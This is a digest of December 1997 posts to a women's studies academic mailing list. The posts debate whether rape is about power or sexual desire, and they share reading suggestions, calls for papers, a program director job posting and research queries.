charset=US-ASCII On Tue, 16 Dec 1997, DAPHNE PATAI wrote: > Jeannie, I wonder if you'd mind clarifying something. you wrote: > > > > I don't know if this applies in women's prisons or not, but in the men's > > prisons I have taught for, there seems to be a distinction drawn between > > ""gay"" or ""homosexual"" men and men who are using sex with other men for > > some power-related reasons. > > Perhaps I'm misreading you, but in the above lines there seems to be > an implication that gay or homosexual men don't rape, and that the men > who use sex for ""power-related reasons"" are necessarily not gay or > homosexual, i.e., are necessarily heterosexual. Is this what you > meant to say and, if so, I wonder what evidence there is for this in > the case of men in prison. > > Hi Daphne, Of course, when I re-read this paragraph as an entity in itself, it might seem to be saying what you suggest it might. I was using the incidence of male-male rape in prisons as an example of same-sex sexual violence that is not necessarily the same thing as gay/homosexual rape. Right before the quoted section, I expressed my opinion that lesbian (or gay or homosexual) rape would be a different category than rape in prisons or hospitals. At that time, I did express that I thought these two categories would have overlap (read: situations which would fit into both). And immediately after the quoted section, I expressed that I was not suggesting that lesbian-lesbian rape does not exist (and I do not believe that homosexual male rape does not exist, either). I am simply uncomfortable with using prison- and hospital-setting rapes as examples of lesbian (or gay) rapes. I think subsequent postings from others have helped clarify the distinctions I was seeing. I'm sorry my original post was not clearer. It is final exam week here and my brain is tired. And while I'm here, I think it is a sign of how uncomfortable we might be with the idea of lesbian rape (a self-identifying lesbian raping another woman/lesbian) that we want to discuss it in terms of extraordinary contexts (prisons and hospitals). The original poster has said to us that a lesbian in her region was raped by another lesbian, not in an incarceration setting, apparently not in the context of a violent relationship (or a relationship at all). This is what she wants to know about. I'll bet it _is_ a relatively ignored phenomenon for many reasons: because social services are still administered in the context of a terribly heterosexist society; because it is un(der)reported for many of the same reasons that all rapes are underreported. But I also suspect (and all this is conjecture on my part) very strongly that lesbian rape is understudied because of the fear that focusing on it would draw negative stereotypes to all lesbians (even more that they put up with now). This fear would add to the lack of reporting by lesbians (if I report this, my entire community will be stigmatized) and to a lack of safe venues in which to report. It would also be one factor in the lack of studies from a feminist perspective, I would guess. Better stop rambling. Sorry this is so long. Jeannie __________________________________________________________________________ . . . Thus wrote ) Jeannie Ludlow ( ""Lord, you know me, a woman, partly brave / ) jludlow@bgnet.bgsu.edu ( I'm liable to say and partly good, ) Women's Studies ( anything; so if who fought with what / ) Popular Culture ( I've offended she partly understood ) Bowling Green SU ( anybody, well hence she was labelled / ) Bowling Green OH 43403 ( . . . tough."" harpy, shrew and whore ) ( --Dolly Parton --Adrienne Rich ) ( ========================================================================= Date: Thu, 18 Dec 1997 10:59:25 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Gail Dines Subject: Re: Rape and sexuality (was Re: rape and prison) I would like to add to this discussion that I think it is incorrect for feminists to assume that rape is divorced from sexuality. We live in a society where women and men use the same word, sex, but construct them in very different ways. As someone who studies pornogprahy, a manual for the ""modern"" man, it is clear that sex and power for men are symbolically and emotionally linked. In pornogprahy, there is no such thing as sex outside of power. All representaions encode power as the element that makes sex sexy. To assume that men can live in this culture, intenralize the images, and define themsleves as male in relation to these representaions, and still see sex as divorced from power, is to ignore the enormous impact that images have on the social construction of masculine sexuality. Rape is the best form of sex in pornogprahy, it is what distinguishes the men from the boys, the guys from the whimps, the males from the females. And what self-respecting man wants to be a woman? Gail Dines. Whe_Dines&flo.org ========================================================================= Date: Thu, 18 Dec 1997 11:35:58 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Phillipa Kafka Subject: Re: birthing and midwifery Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Dear Denise: A great, a fascinating read: Lynne Tatlock, ""Speculum Feminarum: Gendered Perspectives on Obstetrics and Gynecology in Early Modern Germany."" Signs 17.4 (Summer 1992): 725-760. While we were talking I >> realized that I have rarely seen accounts about birthing or midwifery in >> women's studies. >> >> Can anyone help me to make some connections here? >> >> Denise Bauer >> libra@warwick.net >> > > Dr. Phillipa Kafka Professor of English and Director of Women's Studies Women's Studies J303 Kean University Union, New Jersey 07083 ========================================================================= Date: Thu, 18 Dec 1997 11:57:52 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: jgentzler@AMHERST.EDU Subject: Re: rape and prison In-Reply-To: <199712180118.RAA18001@main.cfmc.com> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Catharine MacKinnon argues that rape is about sex in ""Rape: On Coercion and Consent"" in _Toward a Feminist Theory of the State_. <<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>> Jyl Gentzler jgentzler@amherst.edu Department of Philosophy (413) 542-5806 Box 2253 Fax: (413) 542-5837 Amherst College Amherst, MA 01002-5000 <<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>><<<>>> On Wed, 17 Dec 1997, Cat Farrar wrote: > Carol Seajay wrote: > > >Exactly. > >To add my two cents worth, I also think it is very dangerous to label rape > >of men by men as ""gay"" rape. Rape, as is well documented, is a crime of > >power, not of sexuality or desire. > > > I understand what men and women mean when they say that rape is a crime of > power, but I don't understand how that rules out sexuality or desire? Why > do so many feminists acknowledge the power issues and discount (can't think > of a better term at the moment) the sexual aspects? > > Any book recommendations on feminists who hold the same views as me? I > would guess Andrea Dworkin might not seperate out the power issues from the > sexual issues, but I'm not sure. > > Cat Farrar > cat@cfmc.com > > > > > ~Cat Farrar > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > ""Gender is a lived ideology...that becomes EMBODIED because it is enforced."" > > ~Martha McCaughey > Real Knockouts - The Physical Feminism of Women's Self-Defense > ========================================================================= Date: Thu, 18 Dec 1997 11:47:15 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Erin A Smith Subject: WS Grads Placement Stats--Summary MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII In September, I submitted a request to the list for placement statistics for gender studies/women's studies graduates in order to include them in a proposal to various state boards for a new gender studies major at the University of Texas at Dallas. I received numerous requests to post a summary of results to the list. This is it. There are not a lot of programs that keep detailed records, although many people offered examples of the kinds of placements graduates typically choose (graduate and professional schools, law, activist organizations and non-profits, corporate affirmative action programs, personnel & human resources, artists, social work, teaching, women's health, media) Best published source: Barbara Luebke and Mary Ellen Reilly, _Womens Studies Graduates_, Teacher's College Press, 1995 (profiles of grads) Institutions that make statistics publicly available: Duke University Women's Studies Program has a 20-page study, ""The Impact of Women's Studies: Graduates Discuss Their Experiences"" available for $3/copy (wstprog@acpub.duke.edu) Women's Studies at SUNY New Paltz lists placements at their website (http://www.newpaltz.edu/wmnstudies/gradsnow.html). Thank you to all who responded off-list with suggestions and observations. Erin Smith Assistant Professor of American Studies Phone: (972) 883-2338 School of General Studies Fax: (972) 883-2440 University of Texas at Dallas e-mail: erins@utdallas.edu P. O. Box 830688 GR26 Richardson, TX 75083-0688 ========================================================================= Date: Thu, 18 Dec 1997 13:54:57 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""DRA. Pattatucci"" Subject: Re: rape and desire MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: 7bit This response is inspired in its subversion! It's right up there with Celia Kitzinger and Sue Wilkinson sending out queries to heterosexually-identified feminists asking them to write a short essay on how their heterosexuality contributes to their feminist politics and/or their feminist psychology. Because most had been indoctrinated with the orthodoxy that heterosexuality is oppressive to feminism, they simply could not envision heterosexuality having any positive role in, particularly informing, their feminist politics and/or feminist psychology. Of course, this WAS the editors' point! According to the two of them, who wrote me very nice letters in response to my review of their book, I was the ONLY academic so far to have gotten the point and publicly stated so. I lament that few will get your point below, and a majority will probably label you divisive, as they did Kitzinger and Wilkinson. Iana Dra. Angela Pattatucci Universidad de Puerto Rico - Recinto de Rio Piedras a_pattatucci@upr1.upr.clu.edu ---------- > From: DAPHNE PATAI > To: WMST-L@UMDD.UMD.EDU > Subject: rape and desire > Date: Wednesday, December 17, 1997 7:36 PM > > Carol comments that it's ""well documented"" that rape is about ""power, > not desire."" Of course we have all ""known"" this, and heard it > declared as axiomatic, for well over 20 years now. But, nonetheless, > I wonder how an interpretation, an imputation of attitude > or psychological states, can be ""documented"" simply as if it were an > empirical fact. That rape may sometimes be about power, especially in > situations such as prisons, I have no trouble believing. That it may > also be about revenge, hatred, fury, whatever, I also accept. But that > it is, by definition, always about power and never about desire, that > I can't help doubting. I don't know of too many human actions that > can so simply and categorically be attributed to one and only one motivation, > especially when that motivation--in this case the word ""power""--in > fact involves layers of complexity, as, indeed, does the word desire. > The interesting question then becomes: what has this particular > interpretation, once it becomes an orthodoxy, do for the young women > who learn it through women's studies courses? What does it do for > feminism? What is its function? What does it help us accomplish? > And at what cost?-- > ====================== > Daphne.Patai@spanport.umass.edu ========================================================================= Date: Thu, 18 Dec 1997 13:15:37 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jo-Ann Pilardi Subject: Re: Passing MIME-version: 1.0 Content-transfer-encoding: 7BIT Michelle Cliff's monograph (prose/poetry) is wonderful for this: CLAIMING AN IDENTITY THEY TAUGHT ME TO DESPISE. I now forget the publisher, but have it somewhere. If you want more info., email me at : jpilardi@towson.edu Jo-Ann Pilardi, WMST Director, Towson University ========================================================================= Date: Thu, 18 Dec 1997 12:26:45 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: rape/control or power Comments: To: DAPHNE PATAI In-Reply-To: <199712180136.UAA06001@emily.oit.umass.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Daphne, you and others have made similar comments about the term power in in relationship to rape, sexual practices in various settings, and contol. I appreciate the questions posed: > especially when that motivation--in this case the word ""power""--in > fact involves layers of complexity, as, indeed, does the word desire. > The interesting question then becomes: what has this particular > interpretation, once it becomes an orthodoxy, do for the young women > who learn it through women's studies courses? What does it do for > feminism? What is its function? What does it help us accomplish? > And at what cost?-- > ====================== > Daphne.Patai@spanport.umass.edu One cost/consequence that occurs to me is that if we continue to equate terms like power with terms like control, dominance, domination, and manipulation, we ourselves will never be fully free to embrace our own power or fully honor expressions of empowerment by others. That seems an important question to address in a women's studies context, regardless of the sexual dimensions of the situation. Power is about claiming one's ability, striving to reach one's potential, and providing conditions which empower others to do the same. Control, domination, and manipulation are about restrictions on other's efforts to fulfill their potential. Feminist theologians from diverse cultures and continents, among others, have been at the forefront of challenging the equation of control and domination with power, and calling for a fuller appreciation of the potential within each of us to be power-full. ========================================================================= Date: Thu, 18 Dec 1997 13:37:47 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Patrice McDermott Subject: AWTS at Union Theological Seminary, NY (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The information below may be of interest to folks on this list. Please forgive any cross-postings. And _please_ respond to: Andrew Kadel Reference and Collection Development Librarian, Burke Library/AWTS, Union Theological Seminary 3041 Broadway, New York, NY 10027 Phone: (212)280-1501 email: akadel@uts.columbia.edu Patrice McDermott patricem@CapAccess.org ---------- Forwarded message ---------- The Burke Library of Union Theological Seminary is currently planning the ""Archive of Women in Theological Scholarship (AWTS)."" The AWTS will preserve the personal papers, records, correspondents, unpublished scholarly and religious documentation of those women theologians who have shaped theological and religious scholarship since the 1960s. The Burke Library seeks to include those scholars who have been faculty members, alumnae, and associated colleagues of Union Theological Seminary, NY. The AWTS will be the first archive in the United States with an exclusive focus on women theologians. Once established, the AWTS will be located in the Burke Library. Each collection will be arranged and described according to established archival guidelines, with a finding aid for accessing each collection. The collections will be catalogued in the major bibliographic databases to make them accessible for researchers. A special stipend program for researchers may be created. During this initial planning phase we are seeking to identify women scholars who are interested in participating in the AWTS. Since the library does not have an extra funding line for building the AWTS, we are depending on private donations to fund the project. Many of the women scholars whom we have in mind might contact your ""Network."" Would you consider the possibility to forward this message to your members as they might be interested in hearing about the planned AWTS? We will appreciate your support. If anybody would like to receive further information about the AWTS or to support the project, please contact the staff of the Burke Library: Andrew Kadel, Reference and Collection Development Librarian, Burke Library/AWTS, Union Theological Seminary, 3041 Broadway, New York, NY 10027; Phone: (212) 280-1501; email: akadel@uts.columbia.edu ___end___ ========================================================================= Date: Thu, 18 Dec 1997 19:45:45 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: course: growing up female In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" An interesting project, to connect feminist theorizing texts with literary text! It might be useful to read the books you mention in comparison to Chodorow's thesis. She claims there's a universal phenomenon: gender psyches are constructed by their mothers in very early childhood, such that all mothers create their daughters' desire for intimate relationships and impel sons to avoid intimacy as a feminine characteristic. Students might be asked to consider whether and how the thesis is consistent with the experience of the women in the novels read in the course, Jane Eyre, Bluest Eye and so on - and if there's no correspondence, why not? Is the theory wrong? different context, events emerging in the women's lives? What kind of theory do the novelists seem to propose? beatrice bkachuck@cuny.campus.mci.net ========================================================================= Date: Thu, 18 Dec 1997 21:48:09 -0500 Reply-To: ""Wesley J. Chenault"" Sender: Women's Studies List From: ""Wesley J. Chenault"" Subject: Re: Women and Landscape Architecture Comments: To: Dra Kathleen Miller , ""Greer E. Maneval"" , jschach@ca.uky.EDU MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Thank you very much for your response to my e-mail. I have forwarded your message onto Kim Wilson, Associate Professor and Program Coordinator of Landscape Architecture at Colorado State University, for whom I made the initial request. Further inquiries and information should be sent directly to her at klbaur@lamar.colostate.edu . Again, thank you. Regards and Happy Holidays- Wesley -----Original Message----- From: Diane Lowe Fowlkes To: WMST-L@UMDD.UMD.EDU Date: Wednesday, December 10, 1997 11:39 AM Subject: Re: Women and Landscape Architecture >Wesley, >Check out Catherine M. Howett, ""Careers in Landscape Architecture: >Recovering for Women What the ""Ladies"" Won and Lost,"" in Diane L. Fowlkes >and Charlotte S. McClure, eds., _Feminist Visions: Toward a >Transformation of the Liberal ARts Curriculum_ (University of Alabama >Press, 1984). >Diane Fowlkes >wsidlf@panther.gsu.edu ========================================================================= Date: Thu, 18 Dec 1997 23:51:56 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: del saenz MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT del wmst-l hcant005@HUEY.CSUN.EDU ========================================================================= Date: Fri, 19 Dec 1997 08:01:16 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Jane Olmsted Subject: women's psych contributions Dear List Members, One of our most highly motivated students--activist and scholar--wants to do an independent study (with a psych. prof) about women's accomplishments in experimental and statistical psychology. If you have suggestions (this is not my field), names that flash to mind, I'd very much appreciate your suggestions. Please send them privately to jane.olmsted@wku.edu and thanks for any suggestions you may have. ----------- Here's a clip from her note to me: What I have in mind (and why Bruni will be a better facilitator than Retta) is a historical look at women in math/statistics/experimental as it applies to psychology. I want to find out what math achievements by women have contributed--and in what way--to the scientific study of human behavior (which may cross into several disciplines, including anthropology, biological and other sciences), accomplishments of women in the actual fields of experimental and statistical psychology, and what psychometric prinicples in use today are directly tied to accomplishments by women. My thesis work on test development has sparked an interest in the psychometric end of psychology, but I am wholly ignorant of women's role in this area. To date, less than a handful of women's work have been quoted in my stats/experimental text, but Bruni assures me that there is a plethora of accomplishments to be found. ---- Jane Olmsted Women's Studies Western Kentucky University jane.olmsted@wku.edu ========================================================================= Date: Fri, 19 Dec 1997 09:08:46 +0000 Reply-To: Women's Studies List Sender: Women's Studies List Comments: Authenticated sender is From: Kelley Crouse Subject: Feminist Foremothers In-Reply-To: <9711198825.AA882547019@INETGW.WKU.EDU> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT One of my mentors, Judy Long, used to have us do research on women scholars who'd been marginalized or completely left out of the 'canon' in sociology. It was a really terrific project, eye opening even as a jaded grad student. So I want to do a variation of this in my Intro Women's Studies course. Judy called these women our 'feminist foremothers' even though they may not have labeled themselves feminists or conceived of their work as feminist. I'm largely familiar with only names associated with sociology and social theory. So I was hoping that I could solicit names of women in other disciplines. Thanks for your help. Kelley Kelley Crouse Hobart & William Smith Colleges Department of Sociology 311 Trinity Hall Geneva, New York 14456 ========================================================================= Date: Fri, 19 Dec 1997 09:18:57 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: JoAnn Castagna Subject: Re: Rape and sexuality (was Re: rape and prison) In-Reply-To: <971218105925.29fd7@FLO.ORG> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" As Joan so often reminds us, the list exists for issues relating to teaching and research in women's studies, not for general feminist discussion. In any teaching or research about rape and sexuality, I would question such sweeping generalizations as these made by Gail Dine: [quote] We live in a society where women and men use the same word, sex, but construct them in very different ways. As someone who studies pornogprahy, a manual for >the ""modern"" man, it is clear that sex and power for men are symbolically >and emotionally linked. [end quote] These statements deny both of the experience and practice of many men, who do not use pornography as ""a manual"" or in any other way, and the experience and practice of some women, who do symbolically link sex and power---gross simplification of complex issues is not good theory and does not lead to good pedagogy. JoAnn Castagna joann-castagna@uiowa.edu The University of Iowa ========================================================================= Date: Fri, 19 Dec 1997 11:12:40 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: jeannie ludlow Subject: Re: Rape and sexuality In-Reply-To: <3.0.1.16.19971219081416.305faa32@blue.weeg.uiowa.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I agree with several of the postings (beginning, if I remember correctly, with Daphne's) about the possible disservice we might be doing our students if we teach the line that ""rape is a crime of power, not sexuality or desire."" It seems to me that the analyses of how power is culturally associated with both desire and desirability, especially for men (women are taught that powerful men are more desirable; we may not maintain this belief throughout our lives, but many of us grow up to fight with it), are right on in terms of explaining how the power/sex division is untenable when we think about the rapist. My primary concern, however, is with the victims/survivors. When we talk about rape in class, one of my students invariably brings up the power/sex delineation. This has always made me uncomfortable. As a rape survivor, I can tell you that being raped affected _both_ my sense of personal empowerment _and_ my sexuality. I have never met a rape survivor whose sexual life has not been changed dramatically by her or his experience. Now, when one of my students brings up that old line, I bring out the examinations of the cultural constructions of desire and how ""power"" (or perceived power) plays into our cultural notions (which are, of course, much different than many of our personal notions) about what is ""sexy"" or ""desirable."" We talk about the ""romantic stranger"" and the cultural notion that love begins with being ""swept away"" (or carried off). And I use Gail Dines research in this discussion. It is my perception that she is writing about the cultural constructions of these ideas and how they influence individual lives. Even men who never use pornography are affected by its pull on our society, if only to the degree that they can be stereotyped as ""strange"" or ""uptight."" (And it certainly doesn't have to be ""porn""--the cultural construction of power [usually of _abuse_ of power] as sexy is evident in porn, advertising, movies, TV shows, tabloid stories, as well as in the lives of many people whom I know.) Thanks to all who have referenced other sources which talk about rape as a sexual crime. Jeannie __________________________________________________________________________ . . . Thus wrote ) Jeannie Ludlow ( ""Lord, you know me, a woman, partly brave / ) jludlow@bgnet.bgsu.edu ( I'm liable to say and partly good, ) Women's Studies ( anything; so if who fought with what / ) Popular Culture ( I've offended she partly understood ) Bowling Green SU ( anybody, well hence she was labelled / ) Bowling Green OH 43403 ( . . . tough."" harpy, shrew and whore ) ( --Dolly Parton --Adrienne Rich ) ( ========================================================================= Date: Fri, 19 Dec 1997 09:30:42 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Georgia Johnston Subject: Virginia Woolf Conference MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII V. Woolf Conf. Call for Papers The Eighth Annual Virginia Woolf Conference will be held at Saint Louis University, June 4 - 7, 1988. The conference theme will be Virginia Woolf and Communities. The definition of community is deliberately left general. Presentations may address communities of which Virginia Woolf was a part--for example, FEmale Modernists, the Memoir Group, the Bloomsbury community, the feminist commuity, communities of artists, the pacifist community--or not a part--for example, the Apostles, the working class. Presenters may analyze communities that Woolf describesin her writings. Focus may be on texual communities inside or ouside the spheres in which Woolf is generally explored--the Harlem Renaissance, Socialism. Community may be interpreted as national, geographical, pedagogical, sexual, gendered, ideological, economic, racial, cultural, colonial, post-colonial. Community need not be restricted to Woolf's own era; a presentation of future, current, or past communities in terms of Woolf would be appropriate--for example, evaluating current communities of critics (Woolf and autobiography studies, Woolf and lesbian studies). Proposals for papers must include: one cover page, with name and address, institutional affiliations (if any), phone numbers, title of individual paper; and 15 copies of a one-page, 250-word abstract. Envisioned papers should adhere to 15 minute reading time. Deadline: February 1, 1998 postmark Mail proposals to Georgia Johnston, Women's Studies Program, 103 Monsanto Hall, Saint Louis University, 221 North Grand Ave., St. Louis, MO 63103. No e-mail submissions. Queries? Email johnstgk@slu.edu or call 314-977-3003. Selected conference proceedings will be published. Georgia Johnston johnstgk@slu.edu ========================================================================= Date: Fri, 19 Dec 1997 11:23:32 EST Reply-To: Women's Studies List Sender: Women's Studies List From: JoAnne Myers Subject: CFP In-Reply-To: In reply to your message of Thu, 18 Dec 1997 19:45:45 EST CALL FOR PAPERS: The 8th Annual WOMEN & SOCIETY CONFERENCE June 5-7 An inter-& multi-discipinary conference on all aspects & issues of gender undergoing examination in the academy. *Alix Kates Shulman will be delivering the keynote address.* Papers, panels, workshops & exhibitions will be accepted for consideration. Please submit a 250 word abstract & brief bio ****Postmarked by January 19th, 1998 *********. TO: Dr.JoAnne Myers Women & Society Conference Marist College Poughkeepsie, NY 12601 For more info: call 914-575-3000 ext 2234 or e-mail JZLY@MaristB.Marist.edu ========================================================================= Date: Fri, 19 Dec 1997 15:08:04 -0500 Reply-To: ""Leah C. Ulansey"" Sender: Women's Studies List From: ""Leah C. Ulansey"" Subject: Re: Rape and sexuality (was Re: rape and prison) In-Reply-To: <199712180151.UAA11005@syr.edu> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII > > On 17 Dec 97 at 15:05, Carol Seajay wrote: > > > Exactly. > > To add my two cents worth, I also think it is very dangerous to > > label rape of men by men as ""gay"" rape. Rape, as is well documented, > > is a crime of power, not of sexuality or desire. > And then Kelly Crouse wrote: > Well this has always been a concern of mine,this distinction between > sexuality/desire and power. I hope someone can clear it up for me > or, at least, give me some thoughts to mull over. Why, if rape is > not about sexuality/desire, is it that people rape others rather > than, say, beating them up? The argument that ""gays/lesbians rape, too"" is often used to reinforce negative gay stereotypes, as Carol pointed out. It is also sometimes used as evidence that rape is not caused by social conditioning but rather is either 1) ""just human nature"" or 2) a deviant act that departs from the norms of our society, whether the perp is gay or straight. Does our society have a history of celebrating egalitarian sex, sex between true social equals? Nope. Our society cries ""vive la difference"" and gets homophobic when gender differences are minimized or reversed. Does our society still celebrate sexual acts as a form of conquest? Of course. Bedpost notches are not yet a thing of the past. So I say, yes, rape is about power, not about sexual desire--as I understand the latter concept. And society plays a role in promoting rape-compatible definitions and forms of sexual desire and deglamorizing or punishing other alternative definitions and forms of sexual desire. A rape counselor explained a rapist's motives to me as follows: rape, like a curse, is a way to release aggression. So is sex, alas, as some people define it--though of course not everyone who defines sex in this way will go so far as to engage in violent or coersive non-consensual sex. Rape is like acting out the expression, ""Fuck you."" Again, so is sex, as some people define it. It's true that heterosexual non-rape still sometimes relies on power differentials, coersion and artificially heightened sexual differences as aphrodesiacs. I imagine this might have to do (at least in some cases) with homophobic uneasiness about sex between similars/equals. Role playing seems fine to me, as long as it's pleasurable and voluntary, not forced upon one by society, one's partner, one's church, one's parents, one's superego, one's therapist, etc. Finally, in my opinion, the incorporation of stuff like conquest and dehumanization/objectification into non-rape sex in our society doesn't mean that rape is a sexual act. It means that sex--gay or straight--might be sexier (more fun, varied and subtle) in rape-free, non-homophobic circles. Leah Ulansey leou@jhunix.hcf.jhu.edu ========================================================================= Date: Fri, 19 Dec 1997 18:51:01 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Idella Burmester Subject: WS position/Director MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Antioch College Antioch Education Abroad Comparative Women's Studies in Europe Title: Program Director Qualifications: Master's Degree required, Ph.D preferred - documented experience in women's studies - significant international, preferably European based experience - understanding of and experience with group travel dynamics - demonstrated training and/or experience in group process and conflict management In addition: The applicant should demonstrate the ability to work with women with diverse identities and the group dynamics these produce. Issues of gender, race, class, ethnicity, and sexual orientation arise in theory in the presentations and in reality among the group members. Applicant should have significant experience in using a variety of feminist teaching methods including group development and guided field experiences. Duties: During the Spring, the Director is involved in the reading of applications and selection of participants. A teaching assistant position is authorized if the group exceeds 20 participants. Selection of the teaching assistant is done in cooperation with the Antioch Education Abroad office. During the late Spring the Director is expected to revise the summer reading list and go over the itinerary with Antioch Education Abroad staff. Also in the Spring, the director will hold telephone advising sessions to consult with participants regarding individual research projects. A planning trip should be undertaken in the early summer. The budget will be determined in late spring based on the dollar exchange rate. During this trip, the director finalizes the itinerary and meets with resource people and Site Coordiantors to set up visits and presentations. Major travel arr angements will be made by the Antioch Education Abroad. During the program, the Director's focus is on the students and their assimilation and integration of the resources available to them. Careful attention is given to group dynamics at all stages of the program. Interpersonal and cross-cultural skills are highly valued here as they enable the leaders to anticipate problems and facilitate group response to the combination of inter-cultural and feminist issues which arise daily. RENUMERATION: Round trip transportation, room and board for the duration of the both the pre-program organizational trip and for the duration of the semester program, plus a salary based on a six month appointment. APPLICATION: Submit curriculum vita, reference letters from one student and two colleagues and a letter of interest to: Women's Studies in Europe Program Att: Idella J. Burmester Antioch Education Abroad Antioch College Yellow Springs, OH 45387 REVIEW OF CANDIDATES BEGIN: January 19, 1998 Antioch College is an Affirmative Action, Equal Opportunity Employer and does not discriminate on the basis of race, color, religion, sex, sexual orientation, national origin, age, political affiliation, marital status, or physical handicap. _________________________________________________________________________ Idella J. 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I'm used to assigning papers, but I'd like more information about the projects some of you may use in your Intro courses (since the syllabi don't specify what is required in these projects). I would love suggestions about projects that have worked well for you experienced Women's Studies teachers. Thanks so much for any help! Janet Allured, Ph.D. Department of History McNeese State University Lake Charles, LA 70609 jallured@mcneese.edu ========================================================================= Date: Fri, 19 Dec 1997 22:59:31 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Carolyn I. Wright"" Subject: Re: Impoverished white Women In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am looking to have a discussion with those of you on the list that have a particular interest in white women and poverty. I am especially interested in talking to those who have experienced poverty themselves and have moved out of poverty, and those of you who work with poor women. Please respond privately. CArolyn Wright at: ciwright@mailbox.syr.edu ========================================================================= Date: Sat, 20 Dec 1997 00:15:07 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Barry Dank Subject: SEXUAL HARASSMENT AND SEXUAL CONSENT In-Reply-To: <69576F623D@Charity.Trinityvt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Barry M. Dank and Roberto Refinetti, eds., SEXUAL HARASSMENT AND SEXUAL CONSENT, Transaction Publications, 1997. ---------------------------------------------------------------------- SEXUAL HARASSMENT AND SEXUAL CONSENT represents the premier volume of SEXUALITY AND CULTURE. This edited volume contains two editorials, five essays, three empirical articles and several book reviews/essays. It is 309 pages. SEXUAL HARASSMENT AND CONSENT focuses on sexual harassment/consent issues in academia and represents a much needed alternative to the literature on sexual harassment which is predominantly feminist based. For example, a number of articles critique the dominant feminist perspective put forth in THE LECHEROUS PROFESSOR which is that all student-professor relationships cannot be consensual and therefore represent harassment. This perspective has led to the implementation of many fraternization bans on American campuses. The following articles in this volume represent a major critique of the banning position: Klaus de Alberquerque, ""`Academia's Dirty Little Secret': Deconstructing the Sexual Harassment Hysteria""; Barry M. Dank and Joseph S Fulda, ""Forbidden Love: Student-Professor Romances;"" Peg Tittle, ""On Prohibiting Relationships Between Students and Professors,"" and Daphne Patai, ""The Making of a Social Problem: Sexual Harassment on Campus."" Other articles focus on sexual harassment issues in a Canadian university; in a South African university and on sexual harassment issues in work settings in general. In addition, articles cover such subjects as college drinking norms; feminist rape reform proposals; and evolutionary psychology perspectives on mating strategies. An extensive annotated bibliography dealing with assault by women on their spouses is also presented. Many of the editors of SEXUALITY AND CULTURE and the contributors to this volume are major critics in North America of political and sexual correctness issues, e.g. Daphne Patai, Cathy Young, John Fekete, John Furedy, Louis Marinoff and Warren Farrell. Warren Farrell functions as the SEXUALITY AND CULTURE film editor/critic. For a complete listing of the editors and contents of volume 1, go to the SEXUALITY AND CULTURE homepage: http://www.csulb.edu/~asc/journal.html To join many of the contributors/editors in an ongoing discussion of sexual correctness issues, subscribe to the academic sexual correctness-list (asc-l) by sending a subscribe message to asc@csulb.edu To directly communicate to the Editor-in-Chief of SEXUALITY AND CULTURE, send an e-mail to case@csulb.edu To order online, go to amazon.com SEXUAL HARASSMENT AND SEXUAL CONSENT will be available in all Borders Book stores. Barry M. Dank, Editor-in-Chief, SEXUALITY AND CULTURE Roberto Refinetti, Managing Editor ========================================================================= Date: Sat, 20 Dec 1997 07:38:52 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Batya Weinbaum Subject: rape and sexuality The discussion about rape and sexuality might benefit from a look at the two special Heresies issues, one on violence and the other on sexuality, in the late 1970s. Batya Weinbaum batyawein@aol.com ========================================================================= Date: Sat, 20 Dec 1997 08:16:00 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Mara H. Wasburn"" Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" > I am a staff member and also a doctoral student at Purdue University, West Lafayette. I am working on my dissertation project, which is a case study of how women faculty and administrative staff on Purdue's campus experience their worklife. > My data are in and they are richer than I had dared to hope, but right now I find myself in desperate need of some references. My literature review has focused on institutional impediments to women's entry into full professorships and top administrative positions. One of my committee members has asked me to research the following: Has there been any theory development and/or research that suggests that women may not be moving up into higher-level positions either because they are opting out of larger-than-life jobs (dean, department head, president of a corporation, superintendant of schools, etc.) because there is more to life than one's job and/or because the nature of the jobs themselves exclude women ... i.e. you need a wife to 